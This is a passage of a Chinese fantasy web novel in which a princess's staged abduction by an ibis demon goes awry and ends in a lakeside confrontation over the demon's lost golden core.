冯思华得意一笑:“不仅如此,虽然被弃婚,但本公子还留有驸马之名,既不用被家父逼着考取功名,又不用被家母劝着娶妻生子,整日都可以拿着金子到处花天酒地,岂不是逍遥似神仙?”
不用上班,有花不完的钱,还不用被父母催婚催生,难怪这冯公子这么配合了。
康宁公主看向冯公子,问道:“本宫叮嘱你的事都记清楚了吗?”
冯公子不耐烦道:“哎呀,知道知道,耳朵都要长茧子了。不就是等朱鹮妖出现后故作惊慌、扰乱场面,给潘小五拿走宝箱创造机会吗?我在戏院里待着的时间比我在家待着的时间都长,琴棋书画我不行,演戏我可是手到擒来。”
窗外忽然传来悠悠钟声,是钟鼓楼在撞钟报时,此时已是辰时了。
冯公子惊道:“都这个点了,我得赶紧走了!我还是偷溜出来的呢,要是被我爹娘发现了,又要辛苦他们老人家棍棒伺候了!”
不请自来地闯入,又自说自话地要走,这人究竟是来干嘛的啊?!
简直是莫名其妙。
冯公子急冲冲地翻到窗外,临走时又回了头,透过窗望着康宁公主。
康宁公主对上他的眼神,不解道:“怎么了?”
冯公子蓦地咧开一个笑,大大咧咧地说道:“没什么,就是想提醒提醒你,事后可千万别忘了我那三千两银子啊!”
说罢,他转身就走,没有再回头。
冉青云看向窗外,院中已不见了他的身影,不由得感慨:“虽说这人行事轻佻,但轻功却是非常了不得。”
来时无影去时无踪,这么看来,他的轻功甚至和冉青云有的一比。
康宁公主捂嘴笑道:“他哪儿会什么轻功?”
她指了指院子墙角,说:“那儿有个极其隐蔽的狗洞,他是爬狗洞进来的!”
一身红衣,手拿折扇,装得那么潇洒风雅,结果居然是爬狗洞进出的?
康宁公主笑着说:“他爬这个狗洞爬了快十年了,可熟练了。本宫幼时体弱多病,父皇说是为了让本宫好好养病,便赐了公主府,让本宫在皇宫外好好修养——其实就是将本宫软禁在公主府内,害怕本宫的病传给其他人罢了。”
她脸上露出怀念的神情:“后来本宫身子养好了,就总让潘小五带着我爬狗洞出去玩,有时冯思华也偷偷爬狗洞进来找我们玩。”
说着说着,她已忘了自称“本宫”,全然沉浸在回忆之中:“冯思华偷溜出去玩,被他爹娘抓包了好几次,被揍得皮青脸肿的,却始终没有供出我和潘小五……”
她意犹未尽地还想再说,门外却传来潘小五的声音:“公主,嬷嬷说时间快到了,请您移步到堂厅候着。”
康宁公主止住了话头,应了一声:“本宫知道了。”
她牵住冉青云和白灿灿的手,郑重地说:“希望一切能够顺顺利利,你们保重!”
冉青云和白灿灿回握住公主的手,认真地说:“希望你也一切顺利,保重!”
***
白灿灿端端正正地坐在堂厅,手握团扇掩面,团扇已玉为骨架,以绢为扇面,上面绣着大雁与祥云。
纪映阳和冉青云一身侍卫打扮,站在她的身后。
等了片刻,门外传来通报声:“驸马爷到——
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白灿灿走出公主府,登上早已侯在门口的喜轿。
冯思华打扮得人模狗样,此时身骑白马,望向喜轿,意气风发地笑着。
长长的送亲队伍浩浩荡荡地出发了,队伍两旁挤满了围观的百姓。
潘小五身为公主府的侍卫头领,走在喜轿前头,为新娘子保驾护航。
同样走在喜轿前头的,还有今日的驸马爷。两人几乎并排而行。
冯思华坐在马背上,居高临下地看着身侧的潘小五,只见潘小五一脸严肃,不像是送亲,倒像是送葬。冯思华忍不住开口逗他:“好兄弟,今天可是心儿大喜的日子,你怎的也不笑一笑?”
潘小五板着脸道:“大婚还未礼成,你此时理应尊称她为公主。如此轻浮,让别人听见了成何体统。”
冯思华不以为意,挑眉道:“这有什么?我喊她心儿不是从小便这么喊吗?你现在和我找什么茬?我便要说,心儿,心儿,心儿……”
潘小五也算是和冯思华自小相识,知道他的性子,越与他斗嘴,他就越来劲,于是索性抿紧了嘴,扭过头去,不再理他。
冯思华逗了潘小五半天,见他没什么反应,盯着他的脸看了一会儿,突然莫名其妙开口道:“兄弟,我可真羡慕你。”
他一向嬉皮笑脸、油嘴滑舌,平日里咋咋呼呼的,好似从来没有个正经的样子,此时的语气却是前所未闻的认真。
潘小五只道冯思华无拘无束惯了,皇上一纸婚书令他不得不成婚,从此以后处处都受制约,因此才羡慕形单影只的自己。
但这实在是对康宁公主太过无礼,说得好似和公主成亲是什么天大的坏事一样,要知道,城中想娶公主的世家子弟排起队来能绕公主府好几圈呢。
冯思华这厮简直是得了便宜还卖乖。
潘小五忍不住瞪着他,不满道:“公主待你不薄,你这话未免太过无情无义了。”
“无情无义?”冯思华笑了一声,又变回油腔滑调,“哼,那你可就说错了,全天下最有情有义的男子非本公子莫属呀……”
说罢,他似笑非笑地望向前方,兀自催马前行。
送亲队伍行至半路,头顶突然响起几声惊空遏云的啸叫声。
众人抬头望去,不由得呼吸一滞,只见一只巨鸟正盘旋翱翔,渐飞渐落,它身白翅红,翅展足足一丈有余。
看来,那就是朱鹮妖了。
冯思华率先回过神来,将发冠一解,扯着嗓子大呼小叫起来:“救命啊!救命啊!妖怪来啦!妖怪来啦!”他披头散发,眉头紧皱,呼吸急促,浑身发抖,呼救之声哆哆嗦嗦,哀转久绝。
他一边喊,一边勒马转身,双腿一夹马腹,骑着马儿便闯进送亲队伍中横冲直撞起来。
登时,队伍大乱,人仰马翻。
冯思华这一连串表演如行云流水,表情丰富、细致入微,还时刻不忘完成扰乱局面的艰巨任务。
冉青云被他精湛的演技震撼得目瞪口呆。
这家伙要是活在现代,高低得拿个金*奖啊!
59. 皇城公主篇(五)
冯思华一边往迎亲队伍里横冲直撞,一边撕心裂肺地大喊着:“救命啊!救命啊!妖怪来啦!妖怪来啦!”
他这么一闹,围在队伍两旁看热闹的百姓们登时回过神来,尖叫着、推攘着,自顾自地钻进街边的店铺里躲避,或是往附近的小巷中四散逃开。
那朱鹮妖来势汹汹,所到之处掀起阵阵疾风,长啸一声,目标明确地冲向了幻化成康宁公主模样的白灿灿,艳红色的爪子抓向她的肩膀。
见状,冉青云和纪映阳急忙施展轻功,跳到了白灿灿身前,拔剑抽刀,横档格住了他的爪子,“锵锵”两声齐鸣,两人皆震得虎口生疼。
那朱鹮妖似是没料到有人能挡下这一击,不可置信地看向自己脚下的桃木剑和师公刀,震惊道:“玉清山庄的捉妖师?”
也不知他怎么认出来的。
朱鹮妖用力抓握,企图将刀剑震碎,震得刀剑铮铮齐鸣,但刀剑上刻着附有法力的符篆,在他的巨力之下,仍然安然无恙。
见状,朱鹮妖索性双脚往刀剑上一踩,借力使力,展翅飞到半空,扬起尖嘴啸叫一声,盘旋着换了个方向,再次猛地朝白灿灿扑了过去。
纪映阳反应极快,脚下一点,一个起落便挡在白灿灿身前,横刀格挡住朱鹮妖的袭击,发出“锵——”的一声。
方才,冉纪二人合力格挡,双手皆被震得生疼,此时单单纪映阳一人应对,朱鹮妖使了十成十的力气,震得纪映阳双手虎口撕裂,通红的血液流到了手腕上,滴滴答答地往下落,像一串断了线的红玛瑙珠子。
冉青云本想趁着一人一妖僵持之际默念定身咒,将这朱鹮妖定住,谁知那朱鹮妖的力气大得吓人,眼看着纪映阳就要支撑不住,冉青云实在来不及念完定身咒,只好提剑上前,催动引雷诀,萦绕着雷电的桃木剑狠狠砍向朱鹮妖后脑勺。
朱鹮妖躲闪不及,中了这一剑,浑身如遭雷击,滋哇声乱响,后脑勺被电得焦黄。朱鹮妖吃痛,松开了踩着纪映阳师公刀的爪子,展翅向侧边飞去。
冉青云催动引雷诀,本想再电他一回,但那朱鹮妖晕头转向,慌不择路,抽搐着撞向一家客栈的屋顶,撞得瓦片满天乱飞,此时若天雷降下,恐怕是要将这客栈一起劈了。
无奈,冉青云只好掐灭引雷诀,就在这犹豫间,已给了朱鹮妖喘息的机会。朱鹮妖稳住身形,回过神来,转身挥翅打向冉青云。
冉青云急忙向后疾跃,衣袂飘飘,虽是险险避开了这一击,却被掀起的疾风扇飞,后背重重地撞向路旁的一个大榕树,向下滑落在地。她忍不住发出一声闷哼,呕出一口血来。
小黑蛟玄隐原本盘在白灿灿袖口,也不知是怎么在这片兵荒马乱中认出了冉青云的声音,急忙探出脑袋张望,见冉青云跌在树下,嘴角带血,差点儿就要蹿出去挡在冉青云面前,却被白灿灿按住了。
白灿灿看着他,无声地摇了摇头。
玄隐明白她的意思,不能一时冲动毁了计划,他只好缩回袖子里,委屈地将自己盘起来,咬牙克制住跑出去的冲动。
见冉青云倒地,朱鹮妖啸叫一声,朝着她的方向疾速冲了过去,挥动翅膀,半丈长的红翅宛如一把巨斧,朝着冉青云狠狠劈下。
冉青云急忙向一旁翻滚躲避,朱鹮妖那一击打中了她身后的那棵大榕树,竟硬生生将几人合抱之粗的大榕树拦腰切断。
大榕树的树叶登时沙沙作响,粗壮的树干晃了几晃,摇摇摆摆地就要向后砸去。可树后是一家酒肆,店家里还躲着不少食客和行人,眼看着大树将倒,众人尖叫着在店内乱作一团。
刚刚翻滚向一旁躲开了攻击的冉青云只好再滚回来,扎稳马步,双手运力,正面迎上,掌劲浑厚,一把将断落的半截榕树撑住,咬牙往上一顶,猛地将树干往反方向掀翻。
树干“砰”的一声落在无人的街道上,发出一声巨响,震起一阵飞沙走石。
朱鹮妖见状,眼珠子骨碌碌一转,突然扭头腾空飞起,张开长喙,开始对着沿街的树木店铺喷火。
难怪先前康宁公主说这朱鹮妖狡猾,派捉妖师捉了几回都捉不到,朱鹮妖发现正面对敌难以突破,又发现冉青云等人打斗时害怕波及居民,便不硬攻,反而放起了火,扰乱局势。
他一边喷火,一边扇翅,沿街火势很快就旺了起来。
不少人们为了躲避朱鹮妖而藏在沿街店铺内,此时火越烧越旺,有人慌乱之下只好从店铺里跑了出来,也有人被逐渐蔓延的火势堵在店内,躲不了,逃不开。
冉青云和纪映阳交换了一个眼神,冉青云开口道:“先救火!”说罢便从乾坤袋里掏出了一张引水符,诵诀催动,一股旋涡状的水流从符篆中央涌出,浇向起火的铺子。
纪映阳点头,同样催动引水诀灭火。
虽说之前早就商量好了计策,哪怕幻化成公主模样的白灿灿被抓走,他们也能靠着沾了白灿灿和玄隐鲜血的帕子,使用血追踪术找到朱鹮妖藏匿之处,但纪映阳心里还是担心,忍不住往白灿灿的方向瞥了一眼。
白灿灿和他对上眼神,点点头,大声喊道:“你们先救火,不用管我!”
话音刚落,朱鹮妖已飞到白灿灿身侧,用长喙叼起白灿灿的后衣领,高高往上一抛。
白灿灿只觉得耳边风声呼啸,眼前天旋地转,忽地便落在一片柔软温热的白羽之上——她轻轻落在了朱鹮妖的背上。
朱鹮妖对她说:“公主,你还是一如既往的心善……你放心,这火也就是看着骇人,那两个玉清山庄的捉妖师不出一刻钟就能将火灭了,绝对一个百姓都不会被烧死。”
随后,朱鹮妖高呼一声:“抓稳啦!”便啸叫着展翅高飞。
不用他提醒,白灿灿已牢牢抓住了他的羽毛,生怕自己一个不慎掉了下去。
白灿灿此生第一次来到这么高的地方,忍不住探头往下面一瞥,只觉得双腿发软、心脏扑通直跳。
但怕归怕,她还没忘
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了冉青云给的任务——尽可能地套一套朱鹮妖的话。白灿灿模仿着康宁公主说话的语气和声调,迎着风呵斥道:“你捉走本宫究竟想做什么?”
白灿灿抬头看见了朱鹮妖的侧脸,他眼眶发红,眼角含泪,哽咽着说:“我知道你怨我自作主张,但若不这样,我们怎么能永远在一块?等我带着你离开了皇城,我们俩就可以好好过日子了。”
听他话里的意思,他想劫走的那位公主,与他似乎颇有旧情。
他自顾自地感动,不管康宁公主否认了多少次,依旧一意孤行地将康宁公主错认为自己的旧情人。
白灿灿顺着他的话继续说:“本宫贵为公主,跟着你离开皇城,能过什么好日子?”
那朱鹮妖原本往前飞得正猛,听见她的话,登时一个急转弯拐了回去,说:“你瞧瞧我,我又差点儿忘了,你吃穿用度一向要最好的,怎么能少得了金银珠宝?”说罢,他盘旋着下落,朝着送亲队伍里最显眼的宝箱伸出了爪子。
与此同时,潘小五牢记着康宁公主的吩咐,公主让他在朱鹮妖作乱之时偷走装着黄金的宝箱跑到西门外的荒山上,他不问康宁公主为什么让他这么做,也不管偷取皇家财物是不是砍头的大罪,总之听公主吩咐行事就对了。
他一刻也没耽搁,趁乱抱起装有黄金的木箱,将这六百多斤的箱子往肩上一扛,众目睽睽之下就打算往西门跑。
还没跑两步,忽然听得头顶一阵怒风咆哮,天不知怎么的暗了下来,潘小五抬头看去,是朱鹮妖遮天蔽日的身子和翅膀。
下一秒,他手里的宝箱就被朱鹮妖紧紧地抓住了。
朱鹮妖扑腾着翅膀就要重新起飞,潘小五则一心只想完成康宁公主交给他的任务,死命地抓着宝箱不放,就这么连人带箱一起被朱鹮妖带走。
白灿灿坐在鸟背上,看不见底下的潘小五,还在对着朱鹮妖努力地套话:“你从哪儿来的?现在是要带我去哪儿?”
可朱鹮妖越飞越快,越飞越高,四周皆是呼呼风声,白灿灿扯着嗓子喊出的话也被风声吹散,听不清了。
很快,朱鹮妖已飞离了皇城区域,朝着西面的荒山飞去。
在皇城西门外荒山上等候心上人潘小五和一万两黄金的康宁公主,此时正穿着粗布衣裳,戴着遮脸的斗笠,扮作普通百姓的样子,等在约定好的那棵树下。
她望眼欲穿地看着皇城的西门,没等来抱着宝箱从西门跑出来的潘小五,倒是等来了展翅飞过的朱鹮妖。
康宁公主抬头望去,只见那朱鹮妖脚下抓着一个沉甸甸的宝箱,潘小五则双手攀着宝箱,挂在半空中狼狈地晃晃悠悠。康宁公主脸色一变,毫不犹豫地转身,拔腿朝着朱鹮妖飞走的方向追了过去。
与此同时,冉青云和纪映阳好不容易灭完火,那朱鹮妖已不见了踪影。好在他们一早就准备好了带有白灿灿和玄隐血迹的帕子,此时急忙施展血追踪术,跟着妖气的痕迹往西门外荒山的方向跑去。
60. 皇城公主篇(六)
朱鹮妖杀了个回马枪,打算抢送亲队伍中的金银财宝之时,正巧看见潘小五扛着最沉的那个宝箱企图逃跑,朱鹮妖先前一直在公主府附近游荡,自然认得潘小五的脸,知道他是公主府的侍卫头领。
朱鹮妖心想:这侍卫头头想趁乱抢走的东西一定是最好的!
因此,他抓起这宝箱就逃之夭夭,谁知潘小五要钱不要命,抓着宝箱死活不愿意放手。
朱鹮妖尝试着将潘小五甩下去,他力气极大,轻轻松松地提溜着六百多斤的宝箱和一百多斤的潘小五,像甩干衣服似地甩了起来。
潘小五稳如磐石,盘在白灿灿手腕上的玄隐差点儿要被晃吐了。
玄隐只觉得自己灵魂都快被甩出窍了,神志不清地喃喃道:“青、青云……我、我要不行了……”
白灿灿匍匐在朱鹮妖的背上,看不见下面的潘小五,只感觉朱鹮妖突然莫名其妙地摇晃起身子,差点儿坐不稳,急忙大喊:“别晃了!别晃了!我快掉下去了!”情急之下连模仿康宁公主自称“本宫”都忘了。
她一喊,朱鹮妖立马停止了动作,稳住了身子继续往前飞,好像个做错事的小孩似的,有些委屈地解释道:“我不是故意的,是你那个贴身侍卫抓着宝箱不松手,我只是想把他甩下去。”
他气鼓鼓地说:“我就觉得那个侍卫不是什么好东西,整天跟在你后头,不怀好意地偷瞄你,原来是为了偷东西!”他看那贴身侍卫不顺眼很久了!天天缠着公主,表面上装得多听话多衷心,实际上眼神里全是觊觎!
白灿灿一听就急了,迎亲队伍里的嫁妆箱子有上百个,没想到那朱鹮妖这么识货,一抢就抢了个装着一万两黄金的宝箱;更没想到潘小五这么死脑筋,为了完成康宁公主吩咐的任务,连命都不要了。
要是潘小五真的摔死了,康宁公主逃婚后和谁私奔啊?
白灿灿急忙对着朱鹮妖说:“你不许把他甩下去!”
她端起公主的架子,模仿着公主的语气说道:“本宫的侍卫是生是死还由不得你来决定!”
朱鹮妖无奈地叹了口气,应道:“是是是,遵命。”又小声嘟嘟囔囔道:“都这么多年没见了,怎么一直这个性子……”
虽说嘴里回复得不情不愿,但他还是乖乖稳住了身子,没有再尝试将潘小五甩下去。
风声呼啸,潘小五听不见他们的对话,只感觉到那朱鹮妖不知为何突然飞得平稳起来。他双手用力攀住宝箱的边缘,腰腹使劲,爬到了宝箱之上,半蹲着身子,看见了不远处有一片平静的湖。
他拔出腰间的长剑,在朱鹮妖飞到湖面上空之时,狠狠地挥剑砍向朱鹮妖的腿!
潘小五本想着砍断那朱鹮妖的双腿,自己便可以抱着宝箱坠入湖中,安全地抱着宝箱去找康宁公主。可那朱鹮妖的双腿过于坚硬,一剑砍下,磕得潘小五虎口剧痛,朱鹮妖的腿仅仅破开了一个口子。
朱鹮妖吃痛,发出了尖锐的啸叫声,身子一歪险些保持不住平衡。白灿灿努力地抓紧朱鹮妖背上的羽毛,生怕自己一个不慎摔落下去,拉扯得朱鹮妖后背秃了好几块。
潘小五抱住朱鹮妖的腿,等朱鹮妖恢复平衡后,又是抬剑狠狠地砍了下去,这么一来,那破开的口子登时变成了一个深可见骨的伤口,温热的鲜血溅了他一脸。
朱鹮妖当即痛得全身发抖,可他就算痛到这个地步,依旧固执地不愿松开爪子。
就在潘小五打算砍下第三剑时,朱鹮妖已耐不住疼痛,猛地往湖心坠了下去!
***
另一边,冉青云和纪映阳利用血追踪术,循着妖气的痕迹,施展轻功追了过去,却在半路遇见了康宁公主。
康宁公主不会轻功,在长满灌木的荒山上跑得跌跌撞撞的,她穿着的粗布衣裳已被割开了几个口子,遮脸的斗笠也早已不翼而飞。
冉青云急忙上前,抓着康宁公主的后领,将她扯到怀里,还来不及开口询问,突然听见远处传来扑通一声巨响,紧随其后的是一阵哗啦哗啦的落水声。
似乎是什么庞然大物落到水里了。
三人皆脸色一变。
纪映阳脚下一点,加快了速度,朝着声音来处跑去。
冉青云也来不及问问康宁公主在这儿干什么,抱着康宁公主便急忙跟了上去。
三人火急火燎地赶到湖边,坠湖的一人三妖已安全地爬到了岸上,浑身湿漉漉的。
只是……场面比想象中的更混乱。
玄隐跪在湖边,一边哇哇大吐,一边嗷嗷大哭。白灿灿在一旁手忙脚乱地帮他顺背,着急地说:“你先缓缓!不要哭啦,越哭越容易呛到!待会青云看到还以为你怎么了……”
在他俩五步开外,一人一妖正默默无言地僵持着。
潘小五双手抱紧宝箱不愿撒手,朱鹮妖长喙叼住宝箱不愿撒嘴,双方怒目横视,从眼神中可以看出都骂得很脏。
康宁公主见潘小五满头的血,瞪大了眼,从冉青云的怀里跳下去,边跑边喊:“你们俩都住手!”
朱鹮妖闻声望去,看见了正从不远处跑过来的康宁公主,惊讶得张大了嘴。他这么一松嘴,正在暗暗使力的潘小五失去平衡,向后摔了一个屁股墩,六百斤重的宝箱砸到身上,砸得他当即呕出一口鲜血。
康宁公主脸色慌张,跑到潘小五身旁,将宝箱从他身上推翻,眼中含泪,唤道:“小五……”伸手小心翼翼地将他扶起来。
潘小五已昏了过去,他满头是血,看上去狼狈至极。
康宁公主恶狠狠地瞪向朱鹮妖,骂道:“若是他有个好歹,我定和你没完!”
朱鹮妖嘴比脑子反应更快,已张口解释起来:“他头上那些血是我的血,分明就是他砍我再先,还想抢我宝箱,我可一点儿都没伤他,是他……”说着还伸出受了伤的腿自证。
话说到一半,朱鹮妖猛地转头看了看幻化成康宁公主模样的白灿灿,又扭头呆愣愣地看向面前的康宁公主,目瞪口呆,结结巴巴地说:“两……两个公主?”
康宁公
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主这时也看清潘小五头上并无伤口,除了被宝箱压了一下之外并无大碍,放下心来,琢磨起怎么对付那朱鹮妖。她见朱鹮妖一脸呆傻的模样,便知他根本分不清哪个是真正的康宁公主,当即呵斥道:“你连哪个是真正的我都认不出来吗?”
朱鹮妖被她喊得一愣,扭头看向自己刚抢走的那位身着嫁衣的“康宁公主”。
冉青云上前接手了晕得神志不清的玄隐,玄隐迷迷瞪瞪地睁开眼,认出了冉青云,立马委屈地扑进她怀里痛哭。
白灿灿终于得了空,抬头想看看朱鹮妖那边的情况,冷不丁与朱鹮妖对上了眼神。
朱鹮妖一脸迷茫地看着她。在朱鹮妖身后,是偷偷冲着白灿灿眨了眨眼的康宁公主。
康宁公主上前几步,大着胆子逼近了朱鹮妖,又对朱鹮妖喊道:“你不是说爱我至深吗?怎么连我究竟是谁都不清楚?”
朱鹮妖听见康宁公主的声音,又扭头看向康宁公主。
白灿灿立马明白了康宁公主的意思,走上前去,端起公主的架子,说:“你不是说要永远和本宫在一起吗?本宫才是真正的公主。”
朱鹮妖又看向白灿灿,喃喃自语道:“公主一向自称‘本宫’,这、这才是真正的公主……”
康宁公主又是一声呵斥:“可笑,谁都可自称‘本宫’,谁都可不自称‘本宫’,这也能成为凭据么?”
朱鹮妖扭头看她。
康宁公主对他迎面就是一巴掌,“啪——”的一声,打得朱鹮妖歪了脸。
朱鹮妖伸出翅膀,摸了摸发烫的左脸,喏喏道:“这力道……确实是公主,公主打我时就是这样的……你才是公主……”
白灿灿怒骂:“打你一巴掌就是公主么?”说罢,只听得一声清脆的巴掌声响,朱鹮妖右脸也得了一耳光。
就这么左打一下,右打一下,朱鹮妖在一个又一个的巴掌中晕头转向。
因为“晕鸟”还在恶心反胃的玄隐听见“啪啪”作响,抬头看了一眼,发现康宁公主与白灿灿正打陀螺似的抽朱鹮妖耳巴子,登时吓得又钻回冉青云怀里,小声地说:“还、还是青云好,从来不打我……”
朱鹮妖双颊肿得通红,却依旧分不清哪位才是真正的公主,手足无措道:“我、我认不出来……我已经五十多年没见你了……我认不出来……”
先前康宁公主已向朱鹮妖解释过无数次,她根本不认识他,可朱鹮妖始终一意孤行,认定了公主是因为赌气才不认他,好说歹说都不愿听。康宁公主早就被他烦得一肚子气。
现在气也消得差不多了,又见朱鹮妖一脸的迷茫无助,实在是可怜,康宁公主忍不住停了下来。
如今身旁有冉青云、纪映阳等人相助,康宁公主不用担心没说两句话就被朱鹮妖掳走,终于有机会和他好好谈谈,她叹了口气,再一次解释道:“你要找的根本不是我,我两年前才刚刚及笄,根本不可能认识你。”
康宁公主看向他,问道:“你要找的人究竟是谁?”
61. 皇城公主篇(七)
朱鹮妖咬了咬下唇,哽咽着问:“你、你……不是卓无双吗?我与她约好了的,等我来找她,我们便逃到没人认识她的地方,一辈子在一起……”
康宁公主拧眉沉思,喃喃着重复了一声:“卓无双?”她接着说:“那是本宫的曾姑祖母,也就是皇祖父的姑姑。”
她沉默了一会儿,对着朱鹮妖摇了摇头,道:“不对,你一定是在说谎。我曾姑祖母与她丈夫一辈子琴瑟和鸣、鹣鲽情深,又怎会与你私定终身?”
朱鹮妖如遭雷击:“她、她嫁人了?”
他猛地朝康宁公主踉跄着走了几步,说:“不可能!我们约好了的!我们约好了的!是不是你在骗我?其实你就是双儿,你只是怨我来迟了,怨我害你等了几十年,对不对?”
他面色狰狞,眼睛红得好似要滴血,彷佛康宁公主不点头他便不善罢甘休,可语气间却满是苦苦祈求的凄楚。
眼看朱鹮妖快要情绪失控,冉青云刚想上前护住康宁公主,谁知有人竟动作比她还快,一掌拍开朱鹮妖,一把将康宁公主护在身后。
是刚刚苏醒的潘小五。
他满头是血,脸色惨白,坚定地挡在康宁公主身前。
康宁公主扯着潘小五的衣摆,从潘小五的身后探出头来,朝着朱鹮妖吐了吐舌头,说:“本宫两年前才刚刚及笄,怎么等你几十年?”
“更何况……”康宁公主伸出手,从潘小五身后搂住他的腰,眨了眨眼,慢条斯理地说,“更何况,本宫早就心悦他了,又怎么会与其他男子立下约定?”
闻言,朱鹮妖和潘小五肉眼可见地定住了,像两桩石化的雕像。
康宁公主感受到自己手掌下潘小五的身体骤然绷紧,有些奇怪地拍了拍他僵硬的腰侧,很快又恍然大悟道:“哦!你心悦我已久,如今我亲口表露心意,你定是高兴坏了!”
冉青云和白灿灿默契地同时扶额,只有她俩见识过康宁公主恐吓潘小吴若不承认心悦她便“将他脑袋砍了,挂到城墙上晾个三天三夜”的事儿,当时潘小五点头点得十分僵硬,一看就不情不愿。
潘小五平日里对康宁公主毕恭毕敬,纯纯打工人对上司的态度,如今上司突然当众宣布他俩两情相悦,可以想象潘小五内心受到多大的震撼,只希望他的拒绝不要让康宁公主太下不来台。
冉青云刚想开口打圆场,就见潘小五脸颊微微发红,娇羞地低下头,轻轻地“嗯”了一声。
……
原来真是两情相悦,失敬了。
康宁公主看向朱鹮妖,质问道:“你撒谎究竟有何目的?”
朱鹮妖似是终于相信了她不是自己曾经的爱人卓无双,解释道:“我真的没有撒谎!我和双儿约好了的……”
康宁公主道:“曾姑祖母是开国皇帝虞帝的长女,她亲自率兵上阵,为虞帝建国称帝立下汗马功劳。她的生平在史书上记载得清清楚楚——开国前她身披戎装、带兵出征,建国后她久居深宫,后来又与开国将士蒋将军喜结连理,根本没人见过她和一只朱鹮妖交谈过,更别提什么私定终身了。”
朱鹮妖涨红了脸,大声说:“我、我是妖族,她是人类,我们怎么能光明正大地在一起?我每次去找她当然都要避人耳目……”
康宁公主冷哼一声:“口说无凭,自然你想怎么胡诌就怎么胡诌。”
朱鹮妖急了:“双儿呢?她现在在哪儿?她可以证明我说的都是真……”
他话还没说完,就被康宁公主开口打断了:“人类寿命不过百余年,在我出生之前,曾姑祖母就已去世了。”
朱鹮妖吼道:“不可能,我明明将我的金丹给了她,服用了金丹之后便可长生不老!”
金丹?
玄隐眨巴眨巴眼睛,低声喃喃重复道:“……金丹可以让人长生不老?”
冉青云记得在凌霄师尊给的那本《妖族习性大全》中说过,传说妖族即将修炼成神之际,体内的妖气会凝聚成一颗金丹,进一步炼化这颗金丹之后,便可得道成仙。
没想到这竟是真的。
但她从没听说过妖族的金丹可以使人长生不老,金丹浓缩了妖族上千年的妖气,但人类的身体怎么能吸收妖气呢?就像那人参妖残留在冉青云身上的妖气,能够让白灿灿和玄隐妖力猛增,但对冉青云的身体却一点儿影响都没有。
冉青云见朱鹮妖表情严肃,不像作假,开口问道:“是谁告诉你人类服用了金丹之后便可长生不老的?”
朱鹮妖说:“是双儿亲口和我说的……”
康宁公主不可置信地问道:“她亲口和你要了你的金丹?”
她的语气太过讶异,朱鹮妖被她问得一愣,弱弱地说:“是呀,她说我虽少了一颗金丹,但只是少了积累的妖力,再修炼上千年又能攒回来,寿命并不会减少,但她却可以延长寿命,这样我们就能在一起几百年、上千年,永远不分开……”
康宁公主摇摇头,说:“皇祖父曾说过,曾姑祖母一向反对追求长生不老,她总教导小辈,说生老病死是人生常态,若是一味逆天而行,只会失去的更多。”
冉青云说:“我从未听曾妖族的金丹能使人类延年益寿,这根本就说不通啊。人族根本不可能吸收妖族的妖气。”
朱鹮妖怔怔道:“可、可她当时真的是这么和我说的……”
冉青云定定地看着他,问道:“你能确定当时那个人真的是她吗?”
更甚者,那位或许根本就不是人。
朱鹮妖开口刚想反驳,却想起自己刚刚就认错了心上人,登时哑口无言,脸色铁青。
半晌,朱鹮妖才张口补充道:“我半句谎言都没有……当年双儿征战曾受伤坠崖,就是那时我救了她,我们在谷底生活了大半个月,渐渐两情相悦,后来她成了公主,我也常常在夜间溜入皇城与她相会。”
他言辞恳切,生怕大家不信。可唯一一个这世上认得他的人类,已经死去十几年了。
康宁公主说:“史书记载,曾姑祖母确实曾坠崖十余天后又毫发无损地回到军营,世人都道是天神显灵,虞军获胜是天命所在。”
但她坠崖这事谁都能知道,清清楚楚地记载在史书里,可谷底究竟发生了什么,却没人能够证明了。
冉青云并不在意此事的真假,她关心的是那颗不翼而飞的金丹去哪了,虽说金丹对人类无效,但对妖族、或是生前是妖族的鬼怪,蕴含着千年妖气的金丹可都是绝好的神丹妙药。
冉青云问朱鹮妖:“你是什么时候将金丹送出去的?”
朱鹮妖回答道:“几十年前……”
冉青云追问道:“具体是哪一年?”
“我、我记不清了……”
冉青云忍不住皱了皱眉,人也分不清,时间也记不住,这朱鹮妖也太
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不靠谱了。
朱鹮妖想了一会儿,说:“对了,我想起来了,我送出金丹的那一夜,皇城下了那年的第一场雪。那一年的寒冬来得特别早,十月时皇城就飘雪了……”
闻言,康宁公主斩钉截铁地说:“那是三十八年前。史书有云,天兴七年,皇城十月飞雪,凛冬苦寒,冻死者十之有三,是历史上少见的寒冬。”
三十八年前……
冉青云回想起一件事,当时在龙宫岛,她借着人参妖的眼睛看见了十八年前人参妖救活小雅的经过,在路过天虞城时,人参妖听见不少人围着陈三妹和庞千山,感谢他们两人在“二十年前天虞城那场大乱”里救了百姓们,还说若是没有他们,“今日的天虞城不过就是一座鬼城”。
这么算来,三十八年前,天虞城曾有恶鬼作乱,且这鬼煞极凶极恶,险些将天虞城血洗一空。
朱鹮妖被骗金丹,与天虞城恶鬼作乱,竟是在同一年发生的事情,很难说这是一个单纯的巧合,只是不知道这两件事谁先谁后、有何关联。
若是陈三妹在这儿,还可以问问她当年天虞城的事情……
想到陈三妹,冉青云又揪心起来,虽知她与陈小雪共享寿命,陈小雪不死,陈三妹也性命无恙,但不知她现在在哪儿受苦,等把这朱鹮妖盘问完,其他事情先放一边,找到陈三妹才是最要紧的事情。
冉青云不由得有些着急,语速也快了些,问道:“那你送出金丹后,又去了哪里?”
朱鹮妖说:“剖出金丹后,我受伤极重,只能找个地方躲起来养伤。当夜,我和双儿约好了,等我养好伤,便立马回来,带她离开皇城,与她双宿双飞。”
冉青云问:“然后呢?”若是如他所说的如此顺利,他也不至于三十八年后才能回皇城了。
朱鹮妖叹气道:“我刚离开皇城不久,便被猎妖人捉住,我身负重伤,又没了金丹,身上妖气薄弱得几乎没有,根本无力抵抗。他们说要将我载到屠宰场去,拔了我的羽毛做成衣裳和首饰,好在有一大一小两只狐妖救了我……”
他说到“狐妖”二字,众人皆不由自主地看向白灿灿。
朱鹮妖并不知道白灿灿是狐妖,自顾自地往下讲:“那大狐妖与猎妖人搏斗,小狐妖则趁机砸了笼子,放跑了不少妖族……若不是她们,我早就没命了……可我被猎妖人伤得太重,已是濒死的状态了,只好找了个灵气充足的山洞,闭关疗养,谁知道这一晃就是三十多年……”
沉默了很久的白灿灿突然开口了:“你说的那两只狐妖或许……是我妈妈和我。当时我们在皇城南面的荒山上生活,救过不少被猎妖人捉住的妖族,但是否救过你,我已经记不清了。”
朱鹮妖闻言,看向白灿灿,连连点头,说:“我当时确实是出了皇城南门继续往南走,在荒山上被捉住的!”
